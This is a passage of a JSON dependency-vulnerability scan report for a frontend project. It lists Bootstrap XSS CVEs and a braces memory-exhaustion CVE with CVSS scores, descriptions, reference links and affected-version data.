            "baseSeverity": "MEDIUM",
            "exploitabilityScore": "2.8",
            "impactScore": "2.7",
            "version": "3.0"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "In Bootstrap before 3.4.0, XSS is possible in the tooltip data-viewport attribute.",
          "notes": "",
          "references": [
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/issues\/27044",
              "name": "ISSUE_TRACKING,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26%40%3Ccommits.pulsar.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2019:1456"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/issues\/27915#issuecomment-452196628",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/blog.getbootstrap.com\/2018\/12\/13\/bootstrap-3-4-0\/",
              "name": "RELEASE_NOTES,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/pull\/27047",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2019:3023"
            },
            {
              "source": "info",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2018-20676",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2018-20676"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2020:0133"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2020:0132"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHBA-2019:1076"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHBA-2019:1570"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/issues\/27915#issuecomment-452140906",
              "name": "ISSUE_TRACKING,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.tenable.com\/security\/tns-2021-14"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "3.4.0"
              }
            }
          ]
        },
        {
          "source": "NVD",
          "name": "CVE-2018-20677",
          "severity": "MEDIUM",
          "cvssv2": {
            "score": 4.3,
            "accessVector": "NETWORK",
            "accessComplexity": "MEDIUM",
            "authenticationr": "NONE",
            "confidentialityImpact": "NONE",
            "integrityImpact": "PARTIAL",
            "availabilityImpact": "NONE",
            "severity": "MEDIUM",
            "version": "2.0",
            "exploitabilityScore": "8.6",
            "impactScore": "2.9",
            "userInteractionRequired": "true"
          },
          "cvssv3": {
            "baseScore": 6.1,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "exploitabilityScore": "2.8",
            "impactScore": "2.7",
            "version": "3.0"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "In Bootstrap before 3.4.0, XSS is possible in the affix configuration target property.",
          "notes": "",
          "references": [
            {
              "source": "info",
              "url": "https:\/\/github.com\/advisories\/GHSA-ph58-4vrj-w6hr",
              "name": "https:\/\/github.com\/advisories\/GHSA-ph58-4vrj-w6hr"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/issues\/27045",
              "name": "EXPLOIT,ISSUE_TRACKING,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/blog.getbootstrap.com\/2018\/12\/13\/bootstrap-3-4-0\/",
              "name": "RELEASE_NOTES,VENDOR_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26%40%3Ccommits.pulsar.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2019:1456"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/issues\/27915#issuecomment-452196628",
              "name": "ISSUE_TRACKING,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/pull\/27047",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2019:3023"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2020:0133"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2020:0132"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHBA-2019:1076"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHBA-2019:1570"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/issues\/27915#issuecomment-452140906",
              "name": "ISSUE_TRACKING,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/52e0e6b5df827ee7f1e68f7cc3babe61af3b2160f5d74a85469b7b0e%40%3Cdev.superset.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.tenable.com\/security\/tns-2021-14"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "3.4.0"
              }
            }
          ]
        },
        {
          "source": "NVD",
          "name": "CVE-2019-8331",
          "severity": "MEDIUM",
          "cvssv2": {
            "score": 4.3,
            "accessVector": "NETWORK",
            "accessComplexity": "MEDIUM",
            "authenticationr": "NONE",
            "confidentialityImpact": "NONE",
            "integrityImpact": "PARTIAL",
            "availabilityImpact": "NONE",
            "severity": "MEDIUM",
            "version": "2.0",
            "exploitabilityScore": "8.6",
            "impactScore": "2.9",
            "userInteractionRequired": "true"
          },
          "cvssv3": {
            "baseScore": 6.1,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "exploitabilityScore": "2.8",
            "impactScore": "2.7",
            "version": "3.1"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "In Bootstrap before 3.4.1 and 4.3.x before 4.3.1, XSS is possible in the tooltip or popover data-template attribute.",
          "notes": "",
          "references": [
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/releases\/tag\/v4.3.1",
              "name": "RELEASE_NOTES,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/blog.getbootstrap.com\/2019\/02\/13\/bootstrap-4-3-1-and-3-4-1\/",
              "name": "VENDOR_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.tenable.com\/security\/tns-2021-14",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731%40%3Cdev.flink.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2%40%3Cuser.flink.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/packetstormsecurity.com\/files\/156743\/OctoberCMS-Insecure-Dependencies.html",
              "name": "THIRD_PARTY_ADVISORY,VDB_ENTRY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49%40%3Cuser.flink.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/support.f5.com\/csp\/article\/K24383845?utm_source=f5support&amp%3Butm_medium=RSS"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442%40%3Cdev.drill.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/www.securityfocus.com\/bid\/107375",
              "name": "THIRD_PARTY_ADVISORY,VDB_ENTRY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/52e0e6b5df827ee7f1e68f7cc3babe61af3b2160f5d74a85469b7b0e%40%3Cdev.superset.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2019:3024",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc%40%3Cissues.drill.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2019:3023",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854%40%3Cuser.flink.apache.org%3E"
            },
            {
              "source": "info",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/issues\/28236",
              "name": "https:\/\/github.com\/twbs\/bootstrap\/issues\/28236"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/r3dc0cac8d856bca02bd6997355d7ff83027dcfc82f8646a29b89b714%40%3Cissues.hbase.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26%40%3Ccommits.pulsar.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/support.f5.com\/csp\/article\/K24383845",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/pull\/28236",
              "name": "ISSUE_TRACKING,PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/seclists.org\/fulldisclosure\/2019\/May\/13",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/seclists.org\/bugtraq\/2019\/May\/18",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/seclists.org\/fulldisclosure\/2019\/May\/11",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/seclists.org\/fulldisclosure\/2019\/May\/10",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/releases\/tag\/v3.4.1",
              "name": "PRODUCT,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "info",
              "url": "https:\/\/github.com\/advisories\/GHSA-9v3m-8fp8-mj99",
              "name": "https:\/\/github.com\/advisories\/GHSA-9v3m-8fp8-mj99"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpuApr2021.html",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2019:1456",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f%40%3Cdev.drill.apache.org%3E"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "12.1.0",
                "versionEndExcluding": "12.1.5.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "13.0.0",
                "versionEndExcluding": "13.1.3.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "14.0.0",
                "versionEndExcluding": "14.1.2.5"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "15.0.0",
                "versionEndExcluding": "15.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "12.1.0",
                "versionEndExcluding": "12.1.5.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "13.0.0",
                "versionEndExcluding": "13.1.3.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "14.0.0",
                "versionEndExcluding": "14.1.2.5"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "15.0.0",
                "versionEndExcluding": "15.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "12.1.0",
                "versionEndExcluding": "12.1.5.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "13.0.0",
                "versionEndExcluding": "13.1.3.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "14.0.0",
                "versionEndExcluding": "14.1.2.5"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "15.0.0",
                "versionEndExcluding": "15.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_application_acceleration_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "12.1.0",
                "versionEndExcluding": "12.1.5.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_application_acceleration_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "13.0.0",
                "versionEndExcluding": "13.1.3.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_application_acceleration_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "14.0.0",
                "versionEndExcluding": "14.1.2.5"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_application_acceleration_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "15.0.0",
                "versionEndExcluding": "15.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "12.1.0",
                "versionEndExcluding": "12.1.5.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "13.0.0",
                "versionEndExcluding": "13.1.3.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "14.0.0",
                "versionEndExcluding": "14.1.2.5"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "15.0.0",
                "versionEndExcluding": "15.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_domain_name_system:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "12.1.0",
                "versionEndExcluding": "12.1.5.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_domain_name_system:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "13.0.0",
                "versionEndExcluding": "13.1.3.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_domain_name_system:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "14.0.0",
                "versionEndExcluding": "14.1.2.5"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_domain_name_system:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "15.0.0",
                "versionEndExcluding": "15.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_edge_gateway:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "12.1.0",
                "versionEndExcluding": "12.1.5.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_edge_gateway:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "13.0.0",
                "versionEndExcluding": "13.1.3.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_edge_gateway:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "14.0.0",
                "versionEndExcluding": "14.1.2.5"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_edge_gateway:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "15.0.0",
                "versionEndExcluding": "15.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_fraud_protection_service:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "12.1.0",
                "versionEndExcluding": "12.1.5.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_fraud_protection_service:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "13.0.0",
                "versionEndExcluding": "13.1.3.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_fraud_protection_service:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "14.0.0",
                "versionEndExcluding": "14.1.2.5"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_fraud_protection_service:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "15.0.0",
                "versionEndExcluding": "15.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_global_traffic_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "12.1.0",
                "versionEndExcluding": "12.1.5.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_global_traffic_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "13.0.0",
                "versionEndExcluding": "13.1.3.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_global_traffic_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "14.0.0",
                "versionEndExcluding": "14.1.2.5"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_global_traffic_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "15.0.0",
                "versionEndExcluding": "15.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_link_controller:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "12.1.0",
                "versionEndExcluding": "12.1.5.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_link_controller:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "13.0.0",
                "versionEndExcluding": "13.1.3.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_link_controller:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "14.0.0",
                "versionEndExcluding": "14.1.2.5"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_link_controller:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "15.0.0",
                "versionEndExcluding": "15.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_local_traffic_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "12.1.0",
                "versionEndExcluding": "12.1.5.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_local_traffic_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "13.0.0",
                "versionEndExcluding": "13.1.3.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_local_traffic_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "14.0.0",
                "versionEndExcluding": "14.1.2.5"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_local_traffic_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "15.0.0",
                "versionEndExcluding": "15.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_policy_enforcement_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "12.1.0",
                "versionEndExcluding": "12.1.5.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_policy_enforcement_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "13.0.0",
                "versionEndExcluding": "13.1.3.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_policy_enforcement_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "14.0.0",
                "versionEndExcluding": "14.1.2.5"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_policy_enforcement_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "15.0.0",
                "versionEndExcluding": "15.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_webaccelerator:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "12.1.0",
                "versionEndExcluding": "12.1.5.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_webaccelerator:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "13.0.0",
                "versionEndExcluding": "13.1.3.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_webaccelerator:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "14.0.0",
                "versionEndExcluding": "14.1.2.5"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:f5:big-ip_webaccelerator:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "15.0.0",
                "versionEndExcluding": "15.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "3.4.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "4.3.0",
                "versionEndExcluding": "4.3.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:redhat:virtualization_manager:4.3:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:tenable:tenable.sc:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "5.19.0"
              }
            }
          ]
        },
        {
          "source": "RETIREJS",
          "name": "CVE-2024-6484",
          "unscored": "true",
          "severity": "medium",
          "cwes": [],
          "description": "",
          "notes": "",
          "references": [
            {
              "source": "info",
              "url": "https:\/\/github.com\/advisories\/GHSA-9mvj-f7w8-pvh2",
              "name": "https:\/\/github.com\/advisories\/GHSA-9mvj-f7w8-pvh2"
            },
            {
              "source": "info",
              "url": "https:\/\/www.herodevs.com\/vulnerability-directory\/cve-2024-6484",
              "name": "https:\/\/www.herodevs.com\/vulnerability-directory\/cve-2024-6484"
            },
            {
              "source": "info",
              "url": "https:\/\/github.com\/rubysec\/ruby-advisory-db\/blob\/master\/gems\/bootstrap\/CVE-2024-6484.yml",
              "name": "https:\/\/github.com\/rubysec\/ruby-advisory-db\/blob\/master\/gems\/bootstrap\/CVE-2024-6484.yml"
            },
            {
              "source": "info",
              "url": "https:\/\/github.com\/rubysec\/ruby-advisory-db\/blob\/master\/gems\/bootstrap-sass\/CVE-2024-6484.yml",
              "name": "https:\/\/github.com\/rubysec\/ruby-advisory-db\/blob\/master\/gems\/bootstrap-sass\/CVE-2024-6484.yml"
            },
            {
              "source": "info",
              "url": "https:\/\/github.com\/twbs\/bootstrap",
              "name": "https:\/\/github.com\/twbs\/bootstrap"
            },
            {
              "source": "info",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-6484",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-6484"
            }
          ],
          "vulnerableSoftware": []
        },
        {
          "source": "RETIREJS",
          "name": "Bootstrap before 4.0.0 is end-of-life and no longer maintained.",
          "unscored": "true",
          "severity": "low",
          "cwes": [],
          "description": "Bootstrap before 4.0.0 is end-of-life and no longer maintained.",
          "notes": "",
          "references": [
            {
              "source": "info",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/issues\/20631",
              "name": "https:\/\/github.com\/twbs\/bootstrap\/issues\/20631"
            },
            {
              "source": "retid",
              "name": "72"
            }
          ],
          "vulnerableSoftware": []
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "braces:3.0.2",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/package-lock.json?braces",
      "projectReferences": [
        "package-lock.json: transitive"
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "package.json",
            "name": "name",
            "value": "braces"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "name",
            "value": "braces"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "version",
            "value": "3.0.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:npm\/braces@3.0.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:npm\/braces@3.0.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-4068",
          "severity": "HIGH",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-1050"
          ],
          "description": "The NPM package `braces`, versions prior to 3.0.3, fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In `lib\/parse.js,` if a malicious user sends \"imbalanced braces\" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.",
          "notes": "",
          "references": [
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-4068?component-type=npm&component-name=braces&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-4068] CWE-1050 CWE-400"
            },
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-4068",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-4068"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/micromatch\/braces\/issues\/35",
              "name": "https:\/\/github.com\/micromatch\/braces\/issues\/35"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/micromatch\/braces\/pull\/37",
              "name": "https:\/\/github.com\/micromatch\/braces\/pull\/37"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:braces:3.0.2:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        },
        {
          "source": "NPM",
          "name": "GHSA-grv7-fg5c-xmjg",
          "unscored": "true",
          "severity": "high",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-400",
            "CWE-1050"
          ],
          "description": "The NPM package `braces` fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In `lib\/parse.js,` if a malicious user sends \"imbalanced braces\" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.\n",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
